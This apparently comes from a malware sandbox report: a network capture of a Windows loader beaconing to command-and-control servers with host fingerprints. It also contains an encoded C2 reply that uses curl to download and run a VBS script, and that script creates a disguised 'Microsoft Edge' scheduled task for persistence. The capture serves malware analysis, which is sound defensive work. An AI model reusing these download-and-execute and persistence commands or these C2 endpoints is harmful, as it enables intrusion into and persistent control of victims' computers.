Sep 27, 2024 17:43:10.564949989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49875	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:10.574079037 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:11.303515911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49876	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:11.419888973 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:12.144037008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49877	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:12.155832052 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 42 41 37 34 35 43 43 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C9FBA745CCFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 17:43:12.889877081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49878	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:43:13.014377117 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 17:43:13.723464966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 15:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49739	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:05 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:05 UTC	632	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6fMG%2FDGtxAlx0TaYhQ0e%2F2%2FXDWRwGyTh3fR1G%2F6dUPniigo6bcXQ%2F1wCO%2BC6YQZr0RlyoqEsXL0i474R5FoY0M0yfQdhu%2FZnt4GncfMiicHdzgm%2FOb7qePgtpQgdJurds5q9ClbxQVce"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a051ed842b8-EWR
2024-09-27 15:42:05 UTC	176	IN	Data Raw: 61 61 0d 0a 0a 59 32 51 67 4c 32 51 67 4a 58 52 6c 62 58 41 6c 49 43 59 6d 49 47 52 6c 62 43 42 6a 62 32 35 6d 4c 6e 5a 69 63 79 41 79 50 6d 35 31 62 43 41 6d 4a 69 42 6a 64 58 4a 73 49 43 31 76 49 47 4e 76 62 6d 59 75 64 6d 4a 7a 49 47 68 30 64 48 42 7a 4f 69 38 76 5a 57 6c 71 5a 6e 4a 6f 5a 57 64 79 64 47 4a 79 5a 6d 4e 6b 4c 6d 39 75 62 47 6c 75 5a 53 39 6b 62 33 64 75 62 47 39 68 5a 43 39 6a 62 32 35 6d 4d 53 35 77 61 48 41 67 4a 69 59 67 59 33 4e 6a 63 6d 6c 77 64 43 42 6a 62 32 35 6d 4c 6e 5a 69 63 77 3d 3d 0a 0d 0a Data Ascii: aaY2QgL2QgJXRlbXAlICYmIGRlbCBjb25mLnZicyAyPm51bCAmJiBjdXJsIC1vIGNvbmYudmJzIGh0dHBzOi8vZWlqZnJoZWdydGJyZmNkLm9ubGluZS9kb3dubG9hZC9jb25mMS5waHAgJiYgY3NjcmlwdCBjb25mLnZicw==
2024-09-27 15:42:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49743	172.67.187.100	443	7276	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:06 UTC	104	OUT	GET /download/conf1.php HTTP/1.1 Host: eijfrhegrtbrfcd.online User-Agent: curl/7.83.1 Accept: /
2024-09-27 15:42:07 UTC	667	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EBsFhwgtmmX0SlCfes1jG2Dc%2FPJDECbfKdmbJx%2FYEwahd2cotWjQWt%2FEUCswDEpM9zoQE4JNq3E2UvrMcK5O4om2kabN8fqSxzE5hxsPFAIPQUSdW1cargIYufHw%2B75e1ZH19PD6pr3X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8c9c9a0c29dbc325-EWR
2024-09-27 15:42:07 UTC	290	IN	Data Raw: 31 31 62 0d 0a 44 69 6d 20 6f 62 6a 53 68 65 6c 6c 0a 53 65 74 20 6f 62 6a 53 68 65 6c 6c 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 0a 0a 44 69 6d 20 63 6f 6d 6d 61 6e 64 0a 63 6f 6d 6d 61 6e 64 20 3d 20 22 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 22 20 2f 74 72 20 22 22 22 20 26 20 6f 62 6a 53 68 65 6c 6c 2e 45 78 70 61 6e 64 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 74 72 69 6e 67 73 28 22 25 74 65 6d 70 25 22 29 20 26 20 22 5c 4d 69 63 72 6f 73 6f 66 74 2d 45 64 67 65 2e 65 78 65 22 22 20 2f 73 63 20 6f 6e 6c 6f 67 6f 6e 20 2f 72 6c 20 68 69 67 68 65 73 74 20 2f 66 22 0a 0a 6f 62 6a 53 68 65 6c 6c 2e 52 75 6e 20 63 6f 6d 6d 61 6e 64 Data Ascii: 11bDim objShellSet objShell = CreateObject("WScript.Shell")Dim commandcommand = "schtasks /create /tn ""Microsoft Edge"" /tr """ & objShell.ExpandEnvironmentStrings("%temp%") & "\Microsoft-Edge.exe"" /sc onlogon /rl highest /f"objShell.Run command
2024-09-27 15:42:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49745	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:08 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:09 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=unOH4EbE3TFmjw%2B3pYYBVv8LZfdcjO2zKYSFXW8DVXV68laPhVWQSRBeIanmUMecYATIeSuxI%2Fd9%2FMjo%2FniA%2BAqHNRuUXpkYE1DBCiK8UouYJ2imWS51O551yc4xwxBAmhfzYrwfRJTI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a184a47432b-EWR
2024-09-27 15:42:09 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49747	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:09 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:09 UTC	628	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qRuJH0cGoQQ6wfwLbWpDZcYtUA%2Bg6CjFrqi0p2VsnUGiusv7VueJJXzi%2BVsIMptbCqSdQYR6AL%2F8u%2BzwIoCRkbebyeFLrhQY8MV%2F4VnRaXmDLebmxR1JR%2BSKUw2feNkG96Uoj4LmCekJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a1d09517c78-EWR
2024-09-27 15:42:09 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:09 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:10 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7LrdrsqxykRBHWj3sCjinrVfuHFoXw7wW3YgTi3ic3TB1YWvTLCJM4xXCzdk3r9kmq4UuLwV1pluzN%2FInd6XVeKcTKQ%2F%2Fg4WXwH24si9bHvVdl4kXgrVMKYPm7ODYjXOsRd3XNRMuP8Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a204c0a4399-EWR
2024-09-27 15:42:10 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49750	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:11 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:11 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a%2FPpckVTTOnBjHvV3mJC2z%2FMBJSFb9kvoAFgr%2BblNstZarw4OHTmoUfuSVP8Gyv7YM1QPiW0c9zX%2F5k2b3HghZus5h3kOSjQt5a8Oq8DHlVKU%2FLHtmv3VjLX5RxxHrzslGEWftn1cWkS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a27cd7d439a-EWR
2024-09-27 15:42:11 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:11 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:11 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cae6GnVlSMLYc%2BiYm1UDP1ImO3tHteRWe8xkxBxy8zzZwbPSJmtiIszniKXgfPVO7iTZ8vj8oFr%2BiYsmT81pFEfQa0SgYYQfbumIy8g1Q0TGzJOuCzZlZOEQi8Z3n1VvZgUfJZEFrqJk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a27cfe98c89-EWR
2024-09-27 15:42:11 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49754	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:12 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:12 UTC	660	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JgqjbtqWuOgqtOJHAk%2BHGmTaWZ%2Fjk4UKxvvCbL8SDLQeEoavRmyRAtW8tn8Ot%2F6Szxz%2BygX60MrFEyzmj0%2FxXUaTt4Dmq71hY%2Fe5VaADZLaem%2FOv0HnJpErH9NTwNI9AY3bfmZOV7nAA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a2fd9434223-EWR alt-svc: h3=":443"; ma=86400
2024-09-27 15:42:12 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49755	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:12 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:42:12 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:42:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hUSKyITOw1UC32FkDrisax0SCxepZkmbYnGWY%2FDP%2BBl0R453u9NQCzVpW0j2EH%2FpYDrz%2Fig0gLe%2FvbvzsdN1J9DVPe2TXuPgGQwJeKd12KPs0iFUee7lL7OJlsSLpcOFXLm1lPFQGXhk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9a2fcf93434a-EWR
2024-09-27 15:42:12 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:42:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49757	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:42:13 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
